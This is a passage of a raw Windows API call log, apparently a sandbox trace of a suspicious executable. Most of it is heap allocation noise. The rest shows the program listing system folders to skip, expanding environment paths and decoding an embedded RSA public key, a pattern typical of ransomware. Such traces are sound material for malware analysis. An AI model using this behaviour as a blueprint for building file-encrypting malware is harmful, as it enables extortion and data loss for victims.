(HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c708 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d218 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c6c0 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d228 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c678 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d238 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c630 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d248 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c5e8 [0257.541] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.541] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d258) returned 1 [0257.541] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.541] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d268) returned 1 [0257.541] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c240) returned 1 [0257.541] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d278) returned 1 [0257.541] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.541] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d288) returned 1 [0257.541] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c168) returned 1 [0257.541] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d298) returned 1 [0257.541] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c1b0) returned 1 [0257.541] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2d8) returned 1 [0257.541] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c1f8) returned 1 [0257.541] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2c8) returned 1 [0257.541] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bc08) returned 1 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x20) returned 0x55bc08 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2c8 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1f8 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2d8 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1b0 [0257.541] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d298 [0257.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c168 [0257.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d288 [0257.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d278 [0257.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c240 [0257.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d268 [0257.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d258 [0257.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c798) returned 1 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d1f8) returned 1 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c750) returned 1 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d1e8) returned 1 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c708) returned 1 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d208) returned 1 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c6c0) returned 1 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d218) returned 1 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c678) returned 1 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d228) returned 1 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c630) returned 1 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d238) returned 1 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c5e8) returned 1 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d248) returned 1 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe05058) returned 1 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe02850) returned 1 [0257.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0257.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55dae0 [0257.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c1f8, cbMultiByte=25, lpWideCharStr=0x55dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0257.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55db68 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55dae0) returned 1 [0257.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55d5e8 [0257.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d248 [0257.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55dae0 [0257.542] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55db68) returned 1 [0257.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0257.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55db68 [0257.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c1b0, cbMultiByte=12, lpWideCharStr=0x55db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0257.542] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55dbf0 [0257.543] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55db68) returned 1 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d238 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55db68 [0257.543] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55dbf0) returned 1 [0257.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55dbf0 [0257.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c168, cbMultiByte=8, lpWideCharStr=0x55dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55dc78 [0257.543] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55dbf0) returned 1 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d228 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55dbf0 [0257.543] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55dc78) returned 1 [0257.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55dc78 [0257.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c120, cbMultiByte=6, lpWideCharStr=0x55dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55dd00 [0257.543] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55dc78) returned 1 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d218 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55dc78 [0257.543] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55dd00) returned 1 [0257.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55dd00 [0257.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c240, cbMultiByte=11, lpWideCharStr=0x55dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55dd88 [0257.543] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55dd00) returned 1 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x20) returned 0x55dd00 [0257.543] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d5e8) returned 1 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d208 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55de28 [0257.543] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55dd88) returned 1 [0257.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55deb0 [0257.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c0d8, cbMultiByte=7, lpWideCharStr=0x55deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55df38 [0257.543] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55deb0) returned 1 [0257.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d1e8 [0257.544] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55deb0 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55df38) returned 1 [0257.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0257.544] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55df38 [0257.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x55c288, cbMultiByte=11, lpWideCharStr=0x55df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0257.544] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55dfc0 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55df38) returned 1 [0257.544] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d1f8 [0257.544] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x55df38 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55dfc0) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c1f8) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2c8) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c1b0) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2d8) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c168) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d298) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d288) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c240) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d278) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d268) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d258) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55bc08) returned 1 [0257.544] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2800) returned 0xe02850 [0257.544] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.544] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55d5e8 [0257.544] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d258 [0257.544] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.544] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d258) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d5e8) returned 1 [0257.544] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0xe02850) returned 1 [0257.544] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2800) returned 0xe02850 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.545] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55d5e8 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d258 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.545] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d268 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c240 [0257.545] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d278 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.545] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d288 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55d618 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d298 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c168 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2d8 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1b0 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2c8 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1f8 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2e8 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c5e8 [0257.545] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.545] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d258) returned 1 [0257.545] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c240) returned 1 [0257.545] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d268) returned 1 [0257.545] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.545] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d278) returned 1 [0257.545] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.545] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d288) returned 1 [0257.545] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d5e8) returned 1 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.545] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.546] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.546] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.546] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55d5e8 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d288 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c288 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d278 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c120 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d268 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c240 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d258 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c0d8 [0257.546] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c168) returned 1 [0257.546] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d298) returned 1 [0257.546] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c1b0) returned 1 [0257.546] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2d8) returned 1 [0257.546] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c1f8) returned 1 [0257.546] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2c8) returned 1 [0257.546] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c5e8) returned 1 [0257.546] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d2e8) returned 1 [0257.546] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d618) returned 1 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x55d618 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2e8 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c5e8 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2c8 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1f8 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d2d8 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c1b0 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x8) returned 0x55d298 [0257.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x55c168 [0257.546] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c288) returned 1 [0257.546] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d288) returned 1 [0257.546] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c120) returned 1 [0257.546] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d278) returned 1 [0257.546] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c240) returned 1 [0257.547] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d268) returned 1 [0257.547] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55c0d8) returned 1 [0257.547] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d258) returned 1 [0257.547] RtlFreeHeap (HeapHandle=0x550000, Flags=0x0, BaseAddress=0x55d5e8) returned 1 [0257.547] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0xe02850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0257.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe02850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0257.547] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0xe02850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0257.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe02850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0257.547] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0xe02850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0257.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe02850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0257.547] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0xe02850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0257.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe02850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0257.547] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0257.548] CryptStringToBinaryA (in: 